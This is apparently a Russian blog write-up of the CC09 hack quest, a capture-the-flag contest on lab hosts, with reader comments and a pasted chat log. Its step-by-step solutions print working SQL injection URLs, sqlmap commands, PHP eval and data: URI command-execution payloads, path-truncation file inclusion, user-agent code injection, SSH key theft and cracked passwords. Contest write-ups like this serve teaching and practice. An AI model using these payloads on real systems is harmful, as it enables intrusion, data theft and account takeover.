# Задание 1: Windows (Active Directory) IP - 192.168.192.5
1. При сканировании узла с IP-адресом 192.168.192.5 можно понять, что его SMB ресурсы доступны анонимному пользователю. Также, по имеющимся ресурсам и открытым портам легко сообразить, что исследуемый узел выполняет функции контроллера домена.
2. Если используется любой, более менее толковый SMB-сканер, то будет обнаружен каталог backup$ с доступом "read everyone". В каталоге backup$ содержится файл dc.rar, содержащий в себе "system state" контроллера домена. Все остальное, просто fake-мусор.
Подсказка о каталоге backup$ также может быть получена в файле:
\\192.168.192.5\sysvol\cc.local\Policies\{CADC46BC-55B6-440D-9661-18C9435DDA91}\User\Scripts\Logon\mapping.vbs
Подсказка доступна для того, кто сумеет получить права "Domain Users". Это возможно, например, успешно авторизовавшись под пользователем test/test или admin/admin.
3. Необходимо поднять полученный "system state" в виртуальной среде. При возникновении проблем, обращаемся по адресу http://support.microsoft.com/kb/263532.
4. После развертывания "system state" контроллера домена в своей виртуальной среде, необходимо залогиниться на нем с правами "Domain Admins". Существует несколько способов, как это можно сделать. Вот один из них - http://www.nobodix.org/seb/win2003_adminpass.html
5. Далее, с восстановленной копии домена, снимаем хеши с использованием утилиты fgdump. В полученных данных будет содержаться строка "Administrator_history_0:500". Именно хеш из истории используемых паролей администратора нужно брутать, например, по rainbow tables через проект www.plain-text.info. Кроме того, хеш также брутабелен для локального перебора (слово "natalia" содержится в словаре SAMInside). Пароль: Natalia1234
6. Что делать с восстановленным паролем? Смотрим, какие порты еще открыты на этой машине, ага 80/tcp. А там требуется ввести логин и пароль. Вводим Administrator/Natalia1234 (и не забываем про капчу), авторизуемся.
7. Смотрим на параметр в адресной строке, так ведь это же всеми любимый id:) Подставляем одинарную кавычку и вуаля sql-injection. Эксплуатируется SQL injection следующим образом:
http://192.168.192.5/main.asp?id=1+union+select+1,login,pass+from+users
8. Из полученной таблицы users, можно догадаться, что "RDP_user" с "крутым паролем" – это пользователь Active Directory, которому разрешен доступ через RDP. Подключаемся через RDP под этим пользователем и на его рабочем столе читаем ключ к игре.
# Задание 2: Web IP - 192.168.192.7
1. При сканировании узла с IP-адресом 192.168.192.7 можно заметить открытый порт 80/tcp, на котором висит Web-приложение.
2. Побродив по этому Web-приложению, в разделе новости, можно наткнуться на слепую SQL Injection. Уязвимость легко эксплуатируется с использованием sqlmap в три шага:
sqlmap.exe -u http://192.168.192.7/news.php?id_news=4 --current-db
sqlmap.exe -u http://192.168.192.7/news.php?id_news=4 --tables -D web
sqlmap.exe -u http://192.168.192.7/news.php?id_news=4 --dump web -T admins
3. Проэксплуатировав уязвимость, можно получить хеш администратора CMS. Теперь настало время пробрутать пароль админа. Он гораздо проще, чем login:) Login: mega_admin_cms Password: master Сама же админка CMS’ки расположена в каталоге /cmsadm/ (намек дан в файле robots.txt).
4. Получив доступ к панели администрирования CMS, в глаза должна броситься уязвимость в функции eval() при манипулировании значениями в переменной GET[f], в тот момент, когда установлена переменная GET[k] (в ссылке раздела "Permissions"). Эксплуатируется уязвимость следующим образом:
http://192.168.192.7/cmsadm/interface.php?f=passthru($_GET[shell]);&k=1&shell=ls%20-la
5. Получив возможность выполнения команд на сервере нужно стянуть файлик /etc/passwd. Самая полезная информация в нем – это пользователь wwwaadmin, который имеет shell. Теперь понятно, кому можно заходить. Делаем листинг каталога /home/wwwaadmin. Видим в нем каталог .ssh. Далее выдергиваем из него приватный ssh-ключ (id_rsa).
6. Любишь брутфорс:) тогда тебе сюда.
Но на самом деле брутфорс не требуется. Можно догадаться, что пароль к приватному ключу master. Загружаем его в puttygen и на выходе получаем файл с расширением ppk.
7. Авторизовавшись к SSH с использованием ключа необходимо оглядеться вокруг. В домашнем каталоге пользователя keyadm содержится файл key, в котором, как ты уже, наверное, успел догадаться, содержится ключ к игре.
# Задание 3: Wpsql IP - 192.168.192.9
1. При сканировании того же хоста с IP-адресом 192.168.192.7 можно заметить открытый 8080/tcp порт. Там будет получена информация о том, что некий сервис переехал на машину с IP-адресом 192.168.192.9, а в файле example.pdf содержится информация для подключения к этому сервису немного в иронезированном виде.
2. Подключившись к 192.168.192.9 на порт 53351/tcp и успешно авторизовавшись (AI_Ivanov/12345678) можно наблюдать Web-приложение, в котором прослеживается SQL-инъекция под СУБД postgresql в скрытом параметре формы (POST[privileges]).
3. Эксплуатируя SQL-инъекцию, можно прочитать таблицу users. Примерно так:
POST[privileges] =1;select+TABLE_NAME,COLUMN_NAME+from+INFORMATION_SCHEMA.COLUMNS
Кстати, "union" режется...
POST[privileges] = 1;select+id,key,login,password+from+wp_ss_users
4. В таблице хранятся хеши от паролей немного в нестандартном виде, а именно BASE64(SHA-512). Все пользователи имеют не брутабельные пароли, кроме пользователя keyuser (см. скриншот, он немного выделяется из остальных). Его пароль: enterkey (на ура брутфорсится по словарю PasswordPro).
5. Авторизовавшись в специальном разделе сайта – help_users.php (подсказка есть в разделе помощи) под пользователем keyuser, взору предстанет интерфейс для подачи заявки. После отправки заявки появится сообщение "Thank you for using the service". Смотрим HTML, и о чудо! Путь к нашей заявке:
Идем к ней и что мы видим?
Имя пользователя – Кусок из USER_AGENT<br>Наш_запрос.
Попутно втыкаем в листинг директорий и файлик readfile.php, который расположен в каталоге /helpdesk-4259/, и который инклудит текстовые файлы из каталога /tickets/.
6. Наигравшись с подменой USER_AGENT, будет выяснено, что, во-первых, принимаются только первые 10 символов, а во-вторых, вырезаются конструкции вида $_, что не позволяет указать $_GET, например. Задача на самом деле решается просто. Примерно так должна выглядеть строка, подставляемая в USER_AGENT:
<?$f($s)?> или даже так <?=@`$s`?>
ЗЫ: подсказка о том, что register_globals в состоянии on дается выводом phpinfo() по ссылке http://192.168.192.9:53351/php.php (любой мало-мальски продвинутый сканер web найдет эту ссылку)
7. Так, отлично, командная строка есть, осматриваемся, ага /root/vl_key – файл с ключом к игре.
# Задание 4: Client Server (clsv) IP - 192.168.192.12
1. Есть ftp-сервер (192.168.192.12), для авторизации к которому проходит test/test. На нем помимо различного fake-мусора, хранится клиентское приложение аля client-server. Приложение требует авторизации.
2. Ковыряя приложение в отладчике, можно узнать следующее:
- программа обращается к http:// 192.168.192.12/corpbuild/?available=req&login=вводимый_login
- в случае получения ответа FAILED выводится сообщение о том, что пользователя не существует, в противном случае отправляется следующий запрос http:// 192.168.192.12:443/corpbuild09/?login=вводимый_login&password=вводимый_password&rel=9
- аналогично при получении ответа FAILED выводится сообщение о том, что авторизация не пройдена
3. Разобравшись в логике работы программы и потыкав в Web-приложение можно заметить SQL Injection в параметре GET[rel]. SQL Injection на сервере под СУБД MySQL.
4. Уязвимость SQL Injection эксплуатируется тривиальным способом примерно так:
http://192.168.192.12:443/corpbuild09/?rel=9+OR+1=1+union+select+user()--&login=1&password=1
http://192.168.192.12:443/corpbuild09/?rel=9+union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns--&login=1&password=1
http://192.168.192.12:443/corpbuild09/?rel=9+union+select+concat_ws(0x3a,login,password)+from+usersvls--&login=1&password=1
5. Теперь на руках есть валидные пользователи. Интересует, прежде всего, пользователь с логином rlwadm с намеком на то, что пользователь является администратором. Необходимо расшифровать его SHA1-хеш. Пароль простой: qweasd
6. Авторизовавшись под rlwadm, появится сообщение об ошибке. Смотрим HTML и узнаем про сценарий showfrmvl.php. Обращаемся к нему, и он сам подсказывает, через какую переменную происходит include.
7. Итак, есть include, но null-byte жестко фильтруется и мы не вначале запроса (RFI идет лесом). Используем технику по замене null-byte в php и запрос для инклуда примет следующий вид:
http://192.168.192.12:443/corpbuild09/showfrmvl.php?inc=/../../../../../../etc/passwd/././. и т.д. /.
А в /etc/passwd содержится подсказка по месту дислокации ключа:
7. Эксплуатируя таким образом уязвимость LFI, забираем ключ из корневого каталога /clientkey.
# Задание 5: CrackMe
В версии Hack Quest, представленном на CC09, crackme среднего уровня сложности хранился на NFS-сервере, а в версии, выложенной на securitylab, две версии crackme (сложный и средний) расположены на SMB ресурсе сервера 192.168.192.5. Обе версии crackme – это dos-приложения. Рассмотрим метод статического анализа для CRACKME_med.
В качестве средства анализа используем IDA Pro (5.0, хотя версия не принципиальна).
1. Рассмотрим код около точки старта
Несложный анализ позволяет определить назначение первых функций (во многом, благодаря подсказкам IDA)- это printf, getch и putch. Первый цикл обеспечивает нам вывод приглашения "login:" и ввод текста с отображением его на экране.
2. Цикл обработки ввода
Введенный логин просто в цикле "сворачивается" в один байт с помощью XOR. А в финале еще и выполняется AND 10h. Следовательно, от всего логина нас интересует только один бит, что упрощает подбор до односимвольного логина. Хотя, конечно же, можно подобрать и красивый, "говорящий" логин, который будет выставлять указанный бит в нужное значение.
3. Ввод пароля
Следующий блок аналогичен вводу логина. Но есть особенность. Во-первых, видно, что вводимые символы не отображаются на экране. Во-вторых, вводится не больше символов, чем позволяет счетчик, полученный из преобразования логина. Отсюда можно сделать вывод, что значимый бит в "свернутом" логине должен, скорее всего, быть установлен.
4. Обработка введенного пароля
Анализ данного фрагмента подводит нас к самой интересной части. Введенный пароль тоже "сворачивается" в один байт с помощью XOR. А полученное значение используется для раскодирования какого-то фрагмента памяти. Раскодированный же фрагмент передаётся в довольно запутанную функцию вместе с ещё одним блоком "мусора" и числом, полученным в ходе операций над логином. Результат выполнения этой функции выводится на экран стандартным printf.
Для облегчения работы можно воспользоваться внешней утилитой (готовой или самодельной), и посмотреть, что же получается с закодированным фрагментом при разных значениях аргумента для XOR. Несложный брутфорс дает нам значение, которое выглядит вполне похожим на правду.
Остается только подобрать несколько символов, которые, будучи, "свернуты" XOR’ом дадут нам искомый байт, и получить на экране вместо мусора осмысленный текст, а вместо закодированного фрагмента – строку "Password: CC09X0JsYW5rCC09".
Задание выполнено, ключ получен.
И замечательный реверсинг сложного crackme, был продемонстрирован 73ru5. Разреверсенный код оказался гораздо компактнее оригинала (см. комменты). С небольшой подсказкой, 73ru5 сумел пробрутать ключ к игре.
# Задание 6: Hard Level Web (hlw) IP - 192.168.192.15
1. Сканируя хост с IP-адресом 192.168.192.15 можно заметить висящий web-сервер на порту 80/tcp.
2. Изучение этого хоста должно показать наличие двух каталогов – tests, требующего BASIC-авторизации и logs, в котором хранятся старые лог файлы apache.
3. Вытащив из лог-файла access.log всех пользователей, которые успешно проходили basic-авторизацию к каталогу tests, можно попробовать побрутать удаленно пароли для них. Для всех пользователей, кроме admin и root, пароли брутабельны, вот эти пользователи:
devteev:positive
aabramov:positive
toxa:dsec
testuser2:testuser12345
cons_ffff:77777777
view_old:qwert
terminal-q:7654321
adm-kk:zxcvbnm
4. Уязвимость SQL-injection эксплуатируется не тривиальным способом, а с использованием null-byte (кстати, в том же каталоге содержится index.bak, из которого можно понять логику работы скрипта). Экплуатировать уязвимость нужно вот так:
http://192.168.192.15/tests/?Submit=Test&pr=2/**/+limit+0+union+select+1,user(),3,4,5
Конечно, в данном случае пользователь не совсем root, однако, права file_priv у него есть.
5. Гуляя по серверу, можно в каталоге /root прочитать .bash_history в котором содержится строка:
env HTTP_AUTH="basic:/:r00t:iGldwvvx8wVs1eDh23lvs" fetch -o key http://192.168.192.12:28011/getkey_hlw.php?file=ellite-hacker-key-this
Однако получить ключ со своего IP к ключу не получится. Скрипт упорно будет требовать, чтобы запрос пришел с IP 192.168.192.15.
6. Решением должно стать следующее. В каталоге /tests/ содержится сценарий reads_vh1.php. Узнать о его существовании можно так:
http://192.168.192.15/tests/?Submit=Test&pr=2/**/+limit+0+union+select+1,load_file('/usr/local/www/data/tests/'),3,4,5
При обращении к сценарию будет понятен синтаксис, который необходимо использовать для инклуда.
7. Ковыряясь с файлом /tests/reads_vh1.php, существует только один способ эксплуатации уязвимости – это новый способ выполнения команд через include():
http://192.168.192.15/tests/reads_vh1.php?file=data:,<?system($_GET[cmd])?>&cmd=ls
Теперь все предельно ясно. Запрос для получения ключа:
http://192.168.192.15/tests/reads_vh1.php?file=data:,<?system($_GET[cmd])?>&cmd=env HTTP_AUTH="basic:/:r00t:iGldwvvx8wVs1eDh23lvs" fetch -o /tmp/key http://192.168.192.12:28011/getkey_hlw.php?file=ellite-hacker-key-this
# Бонусные ключи
Первый бонусный ключ хранится в базе postgresql на сервере 192.168.192.9. Запрос для его получения:
POST[privileges]=1;select+id,key+from+wp_ss_keys
Второй бонусный ключ храниться в скрипте http://192.168.192.15/tests/index.php. Его можно получить, прочитав файл либо пройдя Basic-авторизацию под одним из логинов – devteev, aabramov или toxa.
В поисках «пасхальных яиц»
1. http://192.168.192.5/main.asp?id=3
2. \\192.168.192.5\sysvol\cc.local\Policies\{CADC46BC-55B6-440D-9661-18C9435DDA91}\Machine\Scripts\Startup\wks.vbe
3. http://192.168.192.7/partners.html
4. http://192.168.192.7:3128/
5. http://192.168.192.7/test.txt
6. http://192.168.192.7/images/
7. http://192.168.192.7/cmsadm/config.inc
8. http://192.168.192.7/cmsadm/test.dbf
9. http://192.168.192.7:8080/access_log
10. http://192.168.192.7:8080/info.php
11. http://192.168.192.7/default/
12. cookie на 192.168.192.9
13. http://192.168.192.9:53351/phpinfo.php
14. http://192.168.192.9:53351/readme.txt
15. http://192.168.192.9:53351/version.txt
16. http://192.168.192.9:53351/sources/
17. http://192.168.192.9:53351/images/
18. http://192.168.192.9:12345/
19. http://192.168.192.9:23/
20. http://192.168.192.12/
21. http://192.168.192.12/admin.php
22. http://192.168.192.12/admins.txt
23. http://192.168.192.12/hits.htm
24. http://192.168.192.12/pass.txt
25. http://192.168.192.12/passwords.txt
26. http://192.168.192.12/pwd.txt
27. http://192.168.192.12/serverinfo.htm
28. http://192.168.192.12/users.txt
29. http://192.168.192.12/corpbuild/.passwd
30. http://192.168.192.12/corpbuild/log.txt
31. http://192.168.192.12/corpbuild/password
32. http://192.168.192.12/corpbuild/users.dat
33. http://192.168.192.12:443/stats.html
34. http://192.168.192.15:443/log.htm
35. http://192.168.192.15/test/ авторизовавшись под одним из трех пользователей (devteev,aabramov,toxa)
И «мега бонус»:-)
Все ключи содержатся в формате CC09BASE64(WORD)CC09
Для конкурса использовались следующие ключи:
Night
Online
_Blank
Link
Interrupt
File
Error
!undo
Если расположить их в правильном порядке, то получится заветное слово "NO_LIFE!".
Вместо заключения
Как и обещал, поделюсь некоторыми деталями и курьезами, произошедшими на hack quest CC09.
В первую очередь, хочется отметить предприимчивость нашего главного победителя, скрывающегося под псевдонимом "r0b". Он обменял у команды античата алгоритм ввода ключей, взамен на вектор атаки по одному из этапов конкурса. "r0b" проявил себя и во второй раз, когда сумел пробрутать ключ к игре:) – слово "Error" в интерфейсе ввода ключей.
Также стоит отметить забавную ситуацию, произошедшую с SUN-овскими конкурсами. Участники хак-квеста, вечером первого дня, заметили неправильно выставленный acl на файл .mysql_history, который содержал ключ к игре. Нет, участники не удалили этот файл. Они поступили гораздо изобретательней, подменили правильный ключ на неверный, что не сразу было замечено;)
В целом, хак-квест проходил на позитивной волне. И по его результатам у меня появилось много мыслей по организации более интересных и увлекательных хак-квестов. И, безусловно, без тех проблем с железом, которые возникли на CC. Возможно, некоторые идеи воплотятся в жизнь уже в следующем году на конференции РусКрипто’2010.
До скорых встреч на подобных мероприятиях!
Чума :) Но хаквест был хорош (я сглупил, что бросил все силы на обход WAF).
ОтветитьУдалитьP.S. С железом было действительно тяжко :(
А вот пиздеть нехорошо. Если псевдо-победитель ХОТЕЛ узнать как вводить ключи, это еще не значит, что он узнал это. Точнее, он узнал - но именно от вАС, девтеев - собственно, это видно и по статистике. НЕ стыдно так врать-то, кроя свои действия?
ОтветитьУдалитьto Анонимный:
ОтветитьУдалитьсколько злости и ненависти в голосе…
Не могу только понять, с чем это связано? ...мое мнение о сообществе, из-за отдельных личностей в нем, сильно снизилось с момента, как я запустил блог. И от этого грустно.
Доки того, что про механизм ввода ключей я узнал после завершения CC и от r0b:
Dmitry Evteev (31.08.2009 19:10):
а все остальное cделал? что там, кстати надо было по сану делать?
r0b (31.08.2009 19:10):
сан - самое легкое
Dmitry Evteev (31.08.2009 19:10):
а чего там нада было сделать?
r0b (31.08.2009 19:10):
1 квест - найти .mysql_history нужный
r0b (31.08.2009 19:10):
еще один - просто файл по имени
r0b (31.08.2009 19:10):
ну короче на знание bash :)
Dmitry Evteev (31.08.2009 19:10):
а последний?
r0b (31.08.2009 19:11):
dtrace-ом надо было отловить что программа пишет в /dev/null
r0b (31.08.2009 19:12):
но забавно что решить ее можно было проще) я за 1 минуту решил
Dmitry Evteev (31.08.2009 19:12):
как?
r0b (31.08.2009 19:12):
58 секунд потратил на ман к VIM
r0b (31.08.2009 19:12):
короче надо было вытащить строку
r0b (31.08.2009 19:12):
strings не помогал
r0b (31.08.2009 19:13):
потому что она обфусцирована была
r0b (31.08.2009 19:13):
но зато /dev/null не был обфусфирован
r0b (31.08.2009 19:13):
и контроля целостности тоже не было
r0b (31.08.2009 19:13):
я заменил dev на tmp
r0b (31.08.2009 19:13):
и просто открыл файл /tmp/null
Dmitry Evteev (31.08.2009 19:13):
:)
r0b (31.08.2009 19:13):
:) все хакерское просто
r0b (31.08.2009 19:14):
но dtrace я тоже сделал кстати ради лулзов
Dmitry Evteev (31.08.2009 19:16):
ок. с этим понял, а как ты ключи добавлял? чего там за экзотическое добавление было?
r0b (31.08.2009 19:21):
ты про постилку щас?
r0b (31.08.2009 19:24):
самое сложное было - найти постилку
r0b (31.08.2009 19:24):
я знал что она на 192.168.192.168 (на сайте написано было) + я знал что это не веб-морда (подсказали)
r0b (31.08.2009 19:25):
я просканил в самом начале игры ВСЕ порты этого хоста, но ничего не нашел (видимо постилка еще не запущена была), поэтому забил
r0b (31.08.2009 19:25):
потом начал следовать подсказкам и вообще запутался
r0b (31.08.2009 19:25):
последняя меня убила "порт шесть тыщ чего-то там"
Dmitry Evteev (31.08.2009 19:26):
)))
r0b (31.08.2009 19:26):
я 5 раз пересканил разными техниками и утилитами порты 6000-7000
r0b (31.08.2009 19:26):
а она реально была на порту 65064 вроде или что-то вроде
Dmitry Evteev (31.08.2009 19:26):
%))
r0b (31.08.2009 19:26):
это пипец был фейл)
r0b (31.08.2009 19:26):
я даже во время интервью так и сказал "я неудачник наверно"
r0b (31.08.2009 19:27):
ну потом мне античат слили что порт пятизначный взамен на подсказку по твоему квесту)
r0b (31.08.2009 19:28):
а потом вообще забавно
r0b (31.08.2009 19:28):
квест пишет "вежливые люди сначала говорят hello"
r0b (31.08.2009 19:29):
я пишу hello - он говорит "i cant hear you"
r0b (31.08.2009 19:29):
и тут моя чуйка автоматом вводит HELO вместо HELLO
r0b (31.08.2009 19:29):
я не знаю чего меня вдруг дернуло на SMTP протокол)
r0b (31.08.2009 19:30):
пишешь HELO Nick, потом HELP вроде
r0b (31.08.2009 19:30):
и он выдает ссылку на youtube где лежит инструкция)
Dmitry Evteev (31.08.2009 19:30):
:)
Dmitry Evteev (31.08.2009 19:36):
а что в инструкции было?
r0b (31.08.2009 19:37):
а там видос с участием олдайна) жгущий)
Dmitry Evteev (31.08.2009 19:37):
как ключи то вводить надо было?
r0b (31.08.2009 19:38):
ну пишешь ANSR Номерзадания Ответ
r0b (31.08.2009 19:38):
INFO номерзадания - это подсказка - на какую букву начинается ключ)
и еще:
ОтветитьУдалитьr0b (31.08.2009 19:38):
кстати) расскажу прикол)
r0b (31.08.2009 19:38):
там все ключи были - компьютерные слова
r0b (31.08.2009 19:38):
типа Link, File, Online
r0b (31.08.2009 19:38):
Negotiation и т.п.
r0b (31.08.2009 19:39):
я смотрю подсказку - первая буква E
r0b (31.08.2009 19:39):
ввожу Exception
r0b (31.08.2009 19:39):
нифига
r0b (31.08.2009 19:39):
делюсь идеей с камрадом - он говорит "дык Error попробуй". попробовал - прокатило
r0b (31.08.2009 19:39):
=)
Dmitry Evteev (31.08.2009 19:39):
)))
Оправдываются те, кому есть за что волноваться...
ОтветитьУдалитьа где Вы усмотрели, что я оправдываюсь? просто опроверг мнение, что на CC мне был известен алгоритм одобрения ключей.
ОтветитьУдалитьСоглашусь, может быть я был не прав в том, что КОНКРЕТНО ВАМ был известен этот алгоритм, но говорить о том, что античат слил какому-то выскочке алгоритм в обмен на алгоритма - это слишком.
ОтветитьУдалитьСпасибо за мануал :)
ОтветитьУдалитьДавно ждал подобной вещи.
to sonique:
ОтветитьУдалитьпожалуйста;)
Онаним, ю сак. Неужели ты думаешь это так сложно для меня? :) Античат вдесятером не смогли меня одного выиграть. Чо тут говорить, школота, она и в Африке школота.
ОтветитьУдалитьДмитрий спасибо.
ОтветитьУдалитьИз всего что мог бы сделать только первый =(
Видимо былое терпение и азарт ушло на семейную жизнь.